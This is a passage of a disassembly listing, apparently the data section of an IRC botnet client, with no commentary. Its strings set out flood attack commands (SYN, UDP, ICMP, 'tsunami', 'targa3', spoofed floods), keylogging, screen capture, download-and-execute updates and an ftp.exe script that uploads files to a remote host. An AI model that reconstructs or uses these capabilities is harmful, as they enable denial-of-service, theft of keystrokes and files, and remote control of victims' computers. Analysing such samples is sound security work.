unk_42F4D8	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_42F500	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_42F530	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42F56C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42F59C	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_42F5D0	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_42F5EC	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42F61C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42F644	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42F664	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42F684	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42F6A0	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_42F6B4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_42F6C0	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_42F6E8	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_42F704	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_42F720	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_42F728	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_42F744	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_42F750	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_42F758	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_42F760	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42F79C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42F7C8	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42F804	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42F838	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42F86C	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_42F884	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_42F898	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_42F8A8	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42F8F0	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42F92C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_42F964	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42F980	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42F9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42F9E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42FA10	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42FA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42FA40	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42FA78	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42FAB0	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42FADC	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42FB18	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42FB48	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42FB80	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42FBB0	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42FBE8	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42FC18	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42FC50	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42FC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42FCCC	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42FCF8	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42FD3C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42FD78	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42FDD4	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42FDE0	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42FE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42FE6C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42FEA4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42FF0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42FF40	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42FF74	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42FFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_430014	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
unk_430034	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_430074	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_4300AC	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_4300F4	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_430128	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_43015C	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_430194	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 4
unk_4301E8	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_430220	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_430268	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_4302A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_4302D8	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_43031C	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_43035C	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:0043D500o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:0043D4F8o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 10h
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_430494	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_4304D0	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_430518	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:0043D530o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:0043D4E8o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 10h
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:0043D540o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
unk_430694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_4306B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_4306DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_4306FC	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_430724	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_430744	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 10h
unk_430780	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_4307A0	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_4307C4	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_4307FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_430838	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
